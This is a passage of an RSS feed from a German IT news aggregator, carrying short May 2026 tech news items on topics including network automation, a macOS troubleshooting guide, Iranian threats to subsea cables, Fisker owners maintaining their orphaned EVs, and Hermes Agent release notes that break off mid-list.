<guid isPermaLink="true">https://tsecurity.de/de/3526500/it-nachrichten/spacex-dragon-capsule-reaches-iss-carrying-6500-pounds-of-supplies/</guid>
<pubDate>Mon, 18 May 2026 17:33:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[SpaceX successfully launched and docked its Dragon capsule at the International Space Station under NASA’s CRS-34 mission. The spacecraft delivered cargo, scientific equipment, and advanced research experiments focused on bone health, microgravity simulation, and charged particles around Earth. Astronauts aboard the ISS will unload and later return research material...]]></content:encoded>
</item>
<item>
<title><![CDATA[NetOps teams look to AI to automate Day 2 operations]]></title>
<description><![CDATA[Network engineers tell me that their teams are chronically understaffed. This is partially a labor market issue, given that 52% of IT organizations recently told Enterprise Management Associates (EMA) that they’re struggling to hire networking pros. But it’s also a business decision. Over-hiring ...]]></description>
<link>https://tsecurity.de/de/3526215/it-security-nachrichten/netops-teams-look-to-ai-to-automate-day-2-operations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3526215/it-security-nachrichten/netops-teams-look-to-ai-to-automate-day-2-operations/</guid>
<pubDate>Mon, 18 May 2026 16:08:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Network engineers tell me that their teams are chronically understaffed. This is partially a labor market issue, given that 52% of IT organizations recently told Enterprise Management Associates (EMA) that they’re struggling to hire networking pros. But it’s also a business decision. Over-hiring in the wake of the pandemic led to a wave of layoffs, and now IT executives are gun-shy about repeating the same pattern. Instead, they tell their network teams to find ways to operate with fewer resources. In fact, 43% of IT pros say personnel shortages is a top network operations challenge.</p>



<p>With network operations centers (NOC) and network engineering teams understaffed, many organizations want to automate Day 2 operations —monitoring, troubleshooting, change management — as much as possible. </p>



<p>Of course, there are business drivers for automation, too. Network teams want to accelerate mean time to repair, which is a key measure of operational effectiveness today. They also want to improve overall network experience. </p>



<h2 class="wp-block-heading">Day 2 NetOps automation is a strategic priority</h2>



<p>Some 79% of 352 IT pros indicated that automation of Day 2 network operations is a high to very high priority (based on findings in EMA’s new research report, <a href="https://www.networkworld.com/article/4172391/%20Automation,%20Hybrid%20and%20Multi-Cloud%20Networks,%20and%20AI%20Transformation">Network Management Megatrends 2026: Automation, Hybrid and Multi-Cloud Networks, and AI Transformation</a>).</p>



<p>“We’re looking at making processes more and more efficient and more and more automated to do more with less people,” a network observability architect with a Fortune 500 entertainment company recently told me. “We’re using automation and AI, and a lot of that falls on the monitoring platform engineers who are responsible for tooling.”</p>



<p>Automation of Day 2 network operations is not a novel concept. For years, network teams have configured their tools and procedures to trigger custom scripts and playbooks to fix recurring problems. <a href="https://www.networkworld.com/article/3820897/netops-teams-ready-to-dump-incumbent-monitoring-tools.html">Network tool vendors</a> have embedded more and more automation into their products to drive more scalable and reliable automation.</p>



<p>However, the emergence of AI has presented a bigger opportunity for automation. Sixty-two percent of IT organizations plan to use AI-driven and agentic network management capabilities to drive higher levels of automation.</p>



<p>“We’re working on a platform to create some custom agents and test them and guide them to do some automated responses based on what the issue is, basically replacing what the NOC engineer does,” said a network tools lead with a Fortune 500 retailer.</p>



<p>Every major network infrastructure vendor (Arista, Cisco, HPE, and Extreme) offers some level of AI-driven automation of Day 2 operations in their management platforms. EMA estimates that at least half of network observability vendors are also delivering AI-driven automation, too. More will follow.</p>



<h2 class="wp-block-heading">Barriers to Day 2 network automation</h2>



<p><a href="https://www.networkworld.com/article/4120183/ai-cant-fix-a-broken-netops-practice.html">Not every organization will succeed</a> with these automation efforts. The biggest barrier to success is also a key driver of automation adoption. Forty-six percent of IT pros say skills gaps on the network team are preventing them from automating Day 2 operations. This makes sense for network teams that rely on scripts and runbooks. Those kinds of solutions require internal resources who have the time to create them.</p>



<p>But adoption of vendors’ automation solutions, whether AI-driven or not, also require internal resources. Someone has to evaluate, purchase, implement, and support such tools. Under-resourced teams will struggle to execute. Quite often implementation teams only get basic functionality implemented before they are forced to tackle another project. The advanced features that drive automation are never implemented.</p>



<p>The top secondary challenges to Day 2 automation are tool limitations (36%), <a href="https://www.networkworld.com/article/4115431/scattered-network-data-impedes-automation-efforts.html">data quality and visibility issues</a> (32%), and risk aversion or governance constraints (32%). Many network teams are locked in with tools that lack the AI and automation features they need. Others don’t trust their data enough to let AI and automation act on it. They’d rather verify things manually. And even with good tools and good data, many organizations simply can’t tolerate the risk of an inadvertent bad change.</p>



<p>Regardless of the challenges, the motivations and the means, network teams need to prioritize automation of Day 2 network operations. Network teams that make it a higher priority also tend to experience the most success with overall network operations strategy, according to EMA’s research. Upper management will need to get involved. Executive sponsorship and budget will be essential to push these automation efforts to the finish line.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Surface owner lost their limited 50th Anniversary edition after a repair swap, and fans are rightly upset]]></title>
<description><![CDATA[A rare 50th Anniversary Surface Laptop vanished inside Microsoft’s repair system after the owner was promised a “same unit repair.” Microsoft declared the device non‑repairable and sent back a standard Surface Laptop 7.]]></description>
<link>https://tsecurity.de/de/3526187/windows-tipps/this-surface-owner-lost-their-limited-50th-anniversary-edition-after-a-repair-swap-and-fans-are-rightly-upset/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3526187/windows-tipps/this-surface-owner-lost-their-limited-50th-anniversary-edition-after-a-repair-swap-and-fans-are-rightly-upset/</guid>
<pubDate>Mon, 18 May 2026 15:54:16 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A rare 50th Anniversary Surface Laptop vanished inside Microsoft’s repair system after the owner was promised a “same unit repair.” Microsoft declared the device non‑repairable and sent back a standard Surface Laptop 7.]]></content:encoded>
</item>
<item>
<title><![CDATA[Mac Troubleshooting & Help: The Complete macOS Fix Guide for 2026]]></title>
<description><![CDATA[A slow Mac, frozen app, Wi-Fi issue, or startup problem usually feels worse than it really is. In most cases, you do not need to erase your Mac or rush to a repair center. The right troubleshooting order matters more than trying random fixes.



As of May 2026, the latest major macOS version is m...]]></description>
<link>https://tsecurity.de/de/3525741/ios-mac-os/mac-troubleshooting-help-the-complete-macos-fix-guide-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3525741/ios-mac-os/mac-troubleshooting-help-the-complete-macos-fix-guide-for-2026/</guid>
<pubDate>Mon, 18 May 2026 13:20:58 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A slow Mac, frozen app, Wi-Fi issue, or startup problem usually feels worse than it really is. In most cases, you do not need to erase your Mac or rush to a repair center. The right troubleshooting order matters more than trying random fixes.



As of May 2026, the latest major macOS version is macOS Tahoe 26, which introduced a new Liquid Glass design, more Continuity features, a bigger Spotlight update, and expanded Apple Intelligence features. Apple’s current Mac lineup also includes MacBook Neo, MacBook Air, MacBook Pro, iMac, Mac mini, and Mac Studio.



Restart Your Mac



Restarting is still the simplest Mac troubleshooting step because it clears temporary glitches, refreshes memory, and closes stuck background processes.




Click the Apple menu in the top-left corner.



Select Restart.



Wait for your Mac to turn back on.



Open the app or feature that caused the issue.



If the problem returns immediately, move to the next method.




Check for macOS Updates



macOS updates often include bug fixes, security patches, driver improvements, and performance changes.




Click Apple menu &gt; System Settings.



Go to General &gt; Software Update.



Wait for your Mac to check for updates.



Click Update Now or Upgrade Now if available.



Restart your Mac after installation.




Force Quit Frozen Apps



If one app is frozen, do not restart the whole Mac first. Force quit only that app.




Press Option + Command + Esc.



Select the frozen app.



Click Force Quit.



Reopen the app.



Save your work often if the app keeps crashing.




Update or Reinstall Problem Apps



Older apps can break after a macOS update, especially apps that use extensions, drivers, or background services.




Open the App Store.



Click Updates.



Install available app updates.



For apps downloaded from the web, open the app’s website and download the latest version.



If the issue remains, delete the app and reinstall it from a trusted source.




Check Storage Space



Low storage can make your Mac slow, unstable, and unable to install updates.




Go to Apple menu &gt; System Settings.



Open General &gt; Storage.



Review large files, applications, downloads, and media.



Delete files you no longer need.



Empty the Trash after checking everything carefully.




Run First Aid in Disk Utility



Disk Utility can check and repair disk errors. Apple recommends running First Aid on volumes, containers, and then the storage device itself.




Open Disk Utility from Applications &gt; Utilities.



Click View &gt; Show All Devices.



Select a volume under your startup disk.



Click First Aid &gt; Run.



Repeat for each volume, then the container, then the disk.




Check Activity Monitor



Activity Monitor helps you find apps using too much CPU, memory, battery, disk, or network activity.




Open Activity Monitor from Applications &gt; Utilities.



Click the CPU or Memory tab.



Sort by highest usage.



Select a suspicious process.



Click the X button to quit it only if you know it is safe.




Remove Login Items



Too many startup apps can slow boot time and make your Mac feel heavy after login.




Go to System Settings.



Open General &gt; Login Items &amp; Extensions.



Remove apps you do not need at startup.



Turn off unnecessary background items.



Restart your Mac and check the improvement.




Start Your Mac in Safe Mode



Safe Mode checks your startup disk and prevents some software from loading. On Intel Macs, Apple says to restart and hold Shift until the login window appears.



For Apple silicon Macs:




Shut down your Mac.



Press and hold the power button until startup options appear.



Select your startup disk.



Hold Shift.



Click Continue in Safe Mode.




Reset NVRAM or PRAM on Intel Macs



NVRAM stores settings like startup disk, sound volume, display resolution, and time zone. This reset applies to Intel Macs.




Shut down your Mac.



Turn it on and immediately hold Option + Command + P + R.



Keep holding for about 20 seconds.



Release the keys.



Check your sound, display, and startup disk settings.




Restart Apple Silicon Macs Instead of Resetting SMC



On Apple silicon Macs, Apple says to restart the computer for issues that previously required SMC troubleshooting. For Intel Macs, SMC reset steps vary by model.




Click Apple menu &gt; Shut Down.



Wait 30 seconds.



Turn your Mac back on.



Test battery, charging, fans, sleep, or power behavior.



If the issue continues, run Apple Diagnostics.




Run Apple Diagnostics



Apple Diagnostics can check hardware such as memory, logic board, and wireless components.




Shut down your Mac.



Disconnect accessories except power, keyboard, mouse, display, and Ethernet if needed.



On Apple silicon, hold the power button until startup options appear, then press Command + D.



On Intel Macs, turn on the Mac and hold D.



Note any reference code shown after the test.




Fix Wi-Fi and Bluetooth Issues



Connectivity problems often come from cached settings, weak networks, or device pairing errors.




Turn Wi-Fi or Bluetooth off and on.



Restart your router if Wi-Fi is unstable.



Forget the Wi-Fi network and reconnect.



Remove and re-pair Bluetooth devices.



Update macOS if the issue started after a system change.




Use Recovery Mode for Serious Problems



Recovery Mode helps you reinstall macOS, restore from Time Machine, or repair disks when normal startup fails.




Shut down your Mac.



On Apple silicon, hold the power button until startup options appear.



Click Options &gt; Continue.



On Intel Macs, restart and hold Command + R.



Choose Disk Utility, reinstall macOS, or restore from backup.




Back Up with Time Machine



Before trying major fixes, back up your Mac. Time Machine is the safest built-in option.




Connect an external drive.



Open System Settings &gt; General &gt; Time Machine.



Add the backup disk.



Start the backup.



Keep the drive connected until the first backup finishes.




FAQs



What is the latest macOS version? The latest major version is macOS Tahoe 26. It includes the Liquid Glass design, new Continuity features, Spotlight improvements, and expanded Apple Intelligence features.  Why is my Mac suddenly slow? Common causes include low storage, too many startup items, outdated apps, browser tabs, background processes, or disk errors.  Should I reset SMC on an Apple silicon Mac? No normal SMC reset shortcut is needed. Apple recommends restarting Apple silicon Macs for power or battery-related troubleshooting.  When should I contact Apple Support? Contact Apple Support if Apple Diagnostics shows an error code, your Mac will not start, the battery is swollen, the display flickers, or Disk Utility warns that the disk may fail.  



Summary




Restart your Mac before trying deeper fixes.



Update macOS and all important apps.



Force quit frozen apps instead of rebooting every time.



Free up storage if your Mac feels slow.



Use Disk Utility First Aid for storage errors.



Check Activity Monitor for heavy apps.



Remove unnecessary Login Items.



Use Safe Mode for startup and software conflicts.



Run Apple Diagnostics if you suspect hardware trouble.



Back up your Mac before reinstalling macOS or using Recovery Mode.




Conclusion



Mac troubleshooting works best when you move from simple fixes to advanced repairs. Start with a restart, updates, storage cleanup, and app checks. Then use Safe Mode, Disk Utility, Apple Diagnostics, and Recovery Mode only when needed.



Most Mac problems can be fixed at home, but hardware warnings, failed disks, repeated shutdowns, and charging issues deserve professional help. Keep your Mac updated, keep backups current, and avoid installing unknown software. That routine prevents more problems than any emergency fix.]]></content:encoded>
</item>
<item>
<title><![CDATA[Iran Now Threatens Fees for Subsea Internet Cables in the Strait of Hormuz]]></title>
<description><![CDATA[Iran's government "wants to charge the world's largest tech companies for using the subsea internet cables laid under the Strait of Hormuz," reports CNN. Their article also notes that Iran's state-linked media outlets "have vaguely threatened that traffic could be disrupted if firms don't pay."

...]]></description>
<link>https://tsecurity.de/de/3525183/it-security-nachrichten/iran-now-threatens-fees-for-subsea-internet-cables-in-the-strait-of-hormuz/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3525183/it-security-nachrichten/iran-now-threatens-fees-for-subsea-internet-cables-in-the-strait-of-hormuz/</guid>
<pubDate>Mon, 18 May 2026 09:52:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Iran's government "wants to charge the world's largest tech companies for using the subsea internet cables laid under the Strait of Hormuz," reports CNN. Their article also notes that Iran's state-linked media outlets "have vaguely threatened that traffic could be disrupted if firms don't pay."

Lawmakers in Tehran discussed a plan last week which could target submarine cables linking Arab countries to Europe and Asia. "We will impose fees on internet cables," Iranian military spokesperson Ebrahim Zolfaghari declared on X last week. Iran's Revolutionary Guards-linked media said Tehran's plan to extract revenue from the strait would require companies like Google, Microsoft, Meta, and Amazon to comply with Iranian law while submarine cable companies would be required to pay licensing fees for cable passage, with repair and maintenance rights given exclusively to Iranian firms. Some of these companies have invested in the cables running through the Strait of Hormuz and the Persian Gulf, but it's unclear if those cables traverse Iranian waters. 

It's also unclear how the regime could force tech giants to comply, as they are barred from making payments to Iran due to strict US sanctions; as a result, the companies themselves may view Iran's statements as posturing rather than serious policy. Still, state-affiliated media outlets have issued veiled threats warning of damage to cables that could impact some of the trillions of dollars in global data transmission and affect worldwide internet connectivity... Iran's threats are part of a strategy to demonstrate its leverage over the Strait of Hormuz and ensure the survival of the regime, a core objective for the Islamic Republic in this war, said Dina Esfandiary, Middle East lead at Bloomberg Economics. "It aims to impose such a hefty cost on the global economy that no-one will dare attack Iran again," she said. 

The article notes that subsea cables "carry vast internet and financial traffic between Europe, Asia and the Persian Gulf," and that targetting them "would affect far more than internet speeds, threatening everything from banking systems, military communications and AI cloud infrastructure to remote work, online gaming and streaming services." 

CNN spoke to Mostafa Ahmed, "a senior researcher at the United Arab Emirates-based Habtoor Research Center, who published a paper on the effects of a large-scale attack on submarine communications infrastructure in the Gulf."

Armed with combat divers, small submarines, and underwater drones, the Islamic Revolutionary Guard Corps (IRGC) poses a risk to underwater cables, Ahmed said, adding that any attack could trigger a cascading "digital catastrophe" across several continents. Iran's neighbors across the Persian Gulf could face severe disruptions to internet connection, potentially impacting critical oil and gas exports as well as banking. 

Beyond the region, India could see a large proportion of its internet traffic affected, threatening its huge outsourcing industry with losses amounting to billions, according to Ahmed... Any disruption could also slow financial trading and cross-border transactions between Europe and Asia, while parts of East Africa could face internet blackouts. And if Iran's proxies decide to employ similar tactics in the Red Sea, the damage could be far worse.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Iran+Now+Threatens+Fees+for+Subsea+Internet+Cables+in+the+Strait+of+Hormuz%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F05%2F18%2F0613223%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F05%2F18%2F0613223%2Firan-now-threatens-fees-for-subsea-internet-cables-in-the-strait-of-hormuz%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/05/18/0613223/iran-now-threatens-fees-for-subsea-internet-cables-in-the-strait-of-hormuz?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Owners of EVs from Bankrupt Fisker Saved Their Cars With an Open Source Nonprofit]]></title>
<description><![CDATA[An anonymous reader shared this report from Electrek:
When Fisker Inc. filed for Chapter 11 bankruptcy in June 2024, it left roughly 11,000 Ocean SUV owners holding the keys to vehicles that cost them anywhere from $40,000 to $70,000 — and that were rapidly losing the software brains that made th...]]></description>
<link>https://tsecurity.de/de/3524085/it-security-nachrichten/how-owners-of-evs-from-bankrupt-fisker-saved-their-cars-with-an-open-source-nonprofit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3524085/it-security-nachrichten/how-owners-of-evs-from-bankrupt-fisker-saved-their-cars-with-an-open-source-nonprofit/</guid>
<pubDate>Sun, 17 May 2026 18:53:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader shared this report from Electrek:
When Fisker Inc. filed for Chapter 11 bankruptcy in June 2024, it left roughly 11,000 Ocean SUV owners holding the keys to vehicles that cost them anywhere from $40,000 to $70,000 — and that were rapidly losing the software brains that made them work. No more over-the-air updates. No more connected services. No more warranty. The manufacturer was dead. 

What happened next is one of the most remarkable stories in the history of the electric vehicle industry. Instead of accepting that their cars would become rolling paperweights, Fisker Ocean owners organized, reverse-engineered their vehicles' proprietary software, hacked into CAN bus networks, built open-source tools on GitHub, and effectively stood up a volunteer-run open-sourced car company from the ashes of Fisker...

Within months of the bankruptcy filing, thousands of Ocean owners formed the Fisker Owners Association (FOA) — a nonprofit that quickly grew to 4,000 members and began operating as something between a car club, a tech startup, and an independent automaker. The FOA hired independent tech experts who began reverse-engineering Fisker's proprietary software patches. Members taught each other how to flash firmware. They organized bulk purchases of replacement parts — negotiating the price of key fobs down from roughly $1,000 each to a fraction of that through coordinated group buys. They hosted free global key fob pairing events, saving each owner $100 to $250... 

What started as desperate troubleshooting has evolved into a genuine open-source ecosystem around the Fisker Ocean. On GitHub, a developer named MichaelOE reverse-engineered the API behind Fisker's official "My Fisker" mobile app and built a Home Assistant integration that exposes every cloud API value as a sensor — with all the app's buttons available as Home Assistant controls... [Community members have also been systematically mapping CAN bus files.] 

The article noes this "is not an isolated incident. Nikola also filed for bankruptcy, leaving its owners in a similar bind. Canoo and Arrival are headed for liquidation auctions..."

Consumer advocates are now pushing for structural changes: mandatory software escrow funds that would keep vehicle software running even if the manufacturer disappears, open-source mandates in bankruptcy proceedings, and shared repair data requirements... European automakers, meanwhile, are moving in a different direction entirely — Volkswagen, BMW, Mercedes-Benz, and eight suppliers signed a memorandum in 2025 to develop a shared open-source automotive software platform.... 

The Fisker Owners Association has proven that a dedicated community can keep orphaned EVs on the road. But they shouldn't have had to... [O]wners shouldn't need to become hackers and parts brokers and quasi-manufacturers just to keep driving the cars they already paid for.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=How+Owners+of+EVs+from+Bankrupt+Fisker+Saved+Their+Cars+With+an+Open+Source+Nonprofit%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F05%2F16%2F2318249%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F05%2F16%2F2318249%2Fhow-owners-of-evs-from-bankrupt-fisker-saved-their-cars-with-an-open-source-nonprofit%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/05/16/2318249/how-owners-of-evs-from-bankrupt-fisker-saved-their-cars-with-an-open-source-nonprofit?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vercel Labs Introduces Zero, a Systems Programming Language Designed So AI Agents Can Read, Repair, and Ship Native Programs]]></title>
<description><![CDATA[Vercel Labs has released Zero, an experimental systems programming language designed so AI agents can read, repair, and ship native programs without requiring human interpretation of compiler output. The language emits JSON diagnostics with stable codes and typed repair metadata, enforces capabil...]]></description>
<link>https://tsecurity.de/de/3523336/ai-nachrichten/vercel-labs-introduces-zero-a-systems-programming-language-designed-so-ai-agents-can-read-repair-and-ship-native-programs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3523336/ai-nachrichten/vercel-labs-introduces-zero-a-systems-programming-language-designed-so-ai-agents-can-read-repair-and-ship-native-programs/</guid>
<pubDate>Sun, 17 May 2026 10:18:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Vercel Labs has released Zero, an experimental systems programming language designed so AI agents can read, repair, and ship native programs without requiring human interpretation of compiler output. The language emits JSON diagnostics with stable codes and typed repair metadata, enforces capability-based I/O at compile time, and compiles to sub-10 KiB native binaries.</p>
<p>The post <a href="https://www.marktechpost.com/2026/05/17/vercel-labs-introduces-zero-a-systems-programming-language-designed-so-ai-agents-can-read-repair-and-ship-native-programs/">Vercel Labs Introduces Zero, a Systems Programming Language Designed So AI Agents Can Read, Repair, and Ship Native Programs</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Server 2025: ReFS-Boot ersetzt NTFS für das System-Volume - it boltwise]]></title>
<description><![CDATA[Windows Server 2025 erlaubt erstmals das Booten von ReFS-Volumes. ReFS bringt Online-Repair, höhere Skalierung und bessere VM-Performance ...]]></description>
<link>https://tsecurity.de/de/3523246/windows-server/windows-server-2025-refs-boot-ersetzt-ntfs-fuer-das-system-volume-it-boltwise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3523246/windows-server/windows-server-2025-refs-boot-ersetzt-ntfs-fuer-das-system-volume-it-boltwise/</guid>
<pubDate>Sun, 17 May 2026 09:15:57 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<b>Windows Server</b> 2025 erlaubt erstmals das Booten von ReFS-Volumes. ReFS bringt Online-Repair, höhere Skalierung und bessere VM-Performance ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.14.0 (2026.5.16)]]></title>
<description><![CDATA[Hermes Agent v0.14.0 (v2026.5.16)
Release Date: May 16, 2026
Since v0.13.0: 808 commits · 633 merged PRs · 1393 files changed · 165,061 insertions · 545 issues closed (12 P0, 50 P1) · 215 community contributors (including co-authors)

The Foundation Release — Hermes Agent installs and runs anywhe...]]></description>
<link>https://tsecurity.de/de/3521849/downloads/hermes-agent-v0140-2026516/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3521849/downloads/hermes-agent-v0140-2026516/</guid>
<pubDate>Sat, 16 May 2026 12:01:41 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.14.0 (v2026.5.16)</h1>
<p><strong>Release Date:</strong> May 16, 2026<br>
<strong>Since v0.13.0:</strong> 808 commits · 633 merged PRs · 1393 files changed · 165,061 insertions · 545 issues closed (12 P0, 50 P1) · 215 community contributors (including co-authors)</p>
<blockquote>
<p>The Foundation Release — Hermes Agent installs and runs anywhere now. Native Windows ships in early beta with a full PowerShell installer story, a <code>pip install hermes-agent</code> wheel lands on PyPI, lazy-deps reshape what <code>pip install hermes-agent</code> actually pulls down, the supply-chain checker scans every install/upgrade for unsafe versions, and a new OpenAI-compatible local proxy lets Codex / Aider / Cline talk to OAuth-only providers (Claude Pro, ChatGPT Pro, SuperGrok). The cold-start wave shaves ~19 seconds off <code>hermes</code> launch, browser-tool CDP calls run 180x faster, and <code>hermes tools</code> All-Platforms drops from 14s to under 1.5s. Two new messaging platforms (LINE and SimpleX Chat) and a Microsoft Graph foundation (Teams pipeline + webhook adapter) land alongside <code>/handoff</code> that finally transfers sessions live, <code>vision_analyze</code> passing pixels through to vision-capable models, <code>x_search</code> as a first-class tool, LSP semantic diagnostics on every <code>write_file</code> / <code>patch</code>, a unified pluggable <code>video_generate</code>, a <code>computer_use</code> cua-driver backend, cross-session 1-hour Claude prompt caching, a per-turn file-mutation verifier, plus 9 new optional skills. 50+ P1 closures, 12 P0 closures.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Native Windows support (early beta)</strong> — full PowerShell installer, native subprocess/PTY paths, taskkill-based process management, MinGit auto-install, Microsoft Store python stub detection, foreground Ctrl+C preservation, taskkill+ps2 fallback, npm prefix handling, and ~40 follow-up Windows-only fixes across CLI / gateway / TUI / curator / tools. Hermes finally runs natively on <code>cmd.exe</code> and PowerShell, no WSL required. (<a href="https://github.com/NousResearch/hermes-agent/pull/21561" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21561/hovercard">#21561</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22130" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22130/hovercard">#22130</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22752/hovercard">#22752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26618" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26618/hovercard">#26618</a>, and many more)</p>
</li>
<li>
<p><strong><code>pip install hermes-agent &amp;&amp; hermes</code></strong> — Hermes Agent is now a real PyPI package. One command, no clone, no git, no shell installer. Wheel includes the Ink TUI bundle and shell launcher. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/26350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26350/hovercard">#26350</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26593/hovercard">#26593</a>)</p>
</li>
<li>
<p><strong>Cold-start performance wave — ~19s off <code>hermes</code> launch</strong> — skills cache, lazy Feishu import, no Nous HTTP at startup, plus PEP-562 lazy adapter imports (QQ, Yuanbao, Teams, Google Chat), deferred <code>fal_client</code> / <code>google-cloud</code> / <code>httpx</code> loads, models.dev disk-cache-first lookup, parallel doctor API checks, eager-skip plugin discovery on built-in subcommands, <code>hermes tools</code> All-Platforms drops from 14s to &lt;1.5s, welcome banner skipped on <code>chat -q</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/22138" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22138/hovercard">#22138</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22120/hovercard">#22120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22681/hovercard">#22681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22790" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22790/hovercard">#22790</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22808" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22808/hovercard">#22808</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22831" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22831/hovercard">#22831</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22859/hovercard">#22859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22904/hovercard">#22904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/22766" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22766/hovercard">#22766</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/25341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25341/hovercard">#25341</a>)</p>
</li>
<li>
<p><strong>180x faster <code>browser_console</code> evaluations</strong> — routed through the supervisor's persistent CDP WebSocket instead of spawning a fresh DevTools session per call. Real-world page interactions feel instant. (<a href="https://github.com/NousResearch/hermes-agent/pull/23226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23226/hovercard">#23226</a>)</p>
</li>
<li>
<p><strong>Supply-chain advisory checker + lazy-deps framework + tiered install fallback</strong> — every <code>pip install</code> / <code>hermes update</code> scans dependencies against an advisory list, lazy-deps replace heavy import-time loads with first-use installs, and the installer falls back through extras tiers when a wheel rejects on the target platform. (<a href="https://github.com/NousResearch/hermes-agent/pull/24220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24220/hovercard">#24220</a>)</p>
</li>
<li>
<p><strong>OpenAI-compatible local proxy</strong> — <code>hermes proxy</code> exposes any OAuth-authed provider (Claude Pro, ChatGPT Pro, SuperGrok) as an OpenAI-compatible endpoint that Codex / Aider / Cline / VS Code Continue can hit. Your subscription, your tools. (<a href="https://github.com/NousResearch/hermes-agent/pull/25969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25969/hovercard">#25969</a>)</p>
</li>
<li>
